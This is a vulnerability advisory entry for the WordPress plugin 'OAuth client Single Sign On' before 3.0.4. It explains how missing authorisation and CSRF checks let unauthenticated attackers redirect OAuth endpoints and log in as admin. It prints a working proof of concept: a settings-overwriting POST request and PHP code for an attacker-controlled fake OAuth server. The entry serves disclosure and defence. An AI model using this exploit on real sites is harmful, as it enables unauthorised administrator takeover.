Lucene search

K
wpvulndbLana CodesWPVDB-ID:55B83CEE-A8A5-4F9D-A976-A3EED9A558E5
HistorySep 05, 2022 - 12:00 a.m.

OAuth client Single Sign On for WordPress < 3.0.4 - Unauthenticated Settings Update to Authentication Bypass

2022-09-0500:00:00
Lana Codes
wpscan.com
14
oauth
single sign on
wordpress
unauthenticated
settings update
authentication bypass
csrf
plugin
attackers
admin access

0.001 Low

EPSS

Percentile

40.0%

The plugin does not have authorisation and CSRF when updating its settings, which could allow unauthenticated attackers to update them and change the OAuth endpoints to ones they controls, allowing them to then be authenticated as admin if they know the correct email address

PoC

POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=oauthconfig&OAuthConfig;_nonce=-&oauthservers;=Custom_OAuth&client;_id=-&client;_secret=-&rquest;_in_body=1&client;_authorization=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Fauth%3D1&client;_token_endpoint=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Ftoken%3D1&client;_userinfo_endpoint=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Fresource%3D1 With exploit.php controlled by the attacker with /** auth endpoint / if ( isset( $_GET[β€˜auth’] ) ) { if ( isset( $_GET[β€˜response_type’] ) ) { if ( β€˜code’ == $_GET[β€˜response_type’] ) { header( 'Location: ’ . $_GET[β€˜redirect_uri’] . β€˜/?’ . http_build_query( array( β€˜code’ => β€˜-’, //can be anything, just don’t be empty ) ) ); exit; } } } /* token endpoint / if ( isset( $_GET[β€˜token’] ) ) { if ( isset( $_POST[β€˜grant_type’] ) ) { echo json_encode( array( β€˜access_token’ => β€˜-’, //can be anything, just don’t be empty ) ); exit; } } /* resource endpoint */ if ( isset( $_GET[β€˜resource’] ) ) { echo json_encode( array( β€˜email’ => β€˜admin@localhost’, β€˜user_login’ => β€˜-’, //can be anything, just don’t be empty ) ); exit; }

0.001 Low

EPSS

Percentile

40.0%

Related for WPVDB-ID:55B83CEE-A8A5-4F9D-A976-A3EED9A558E5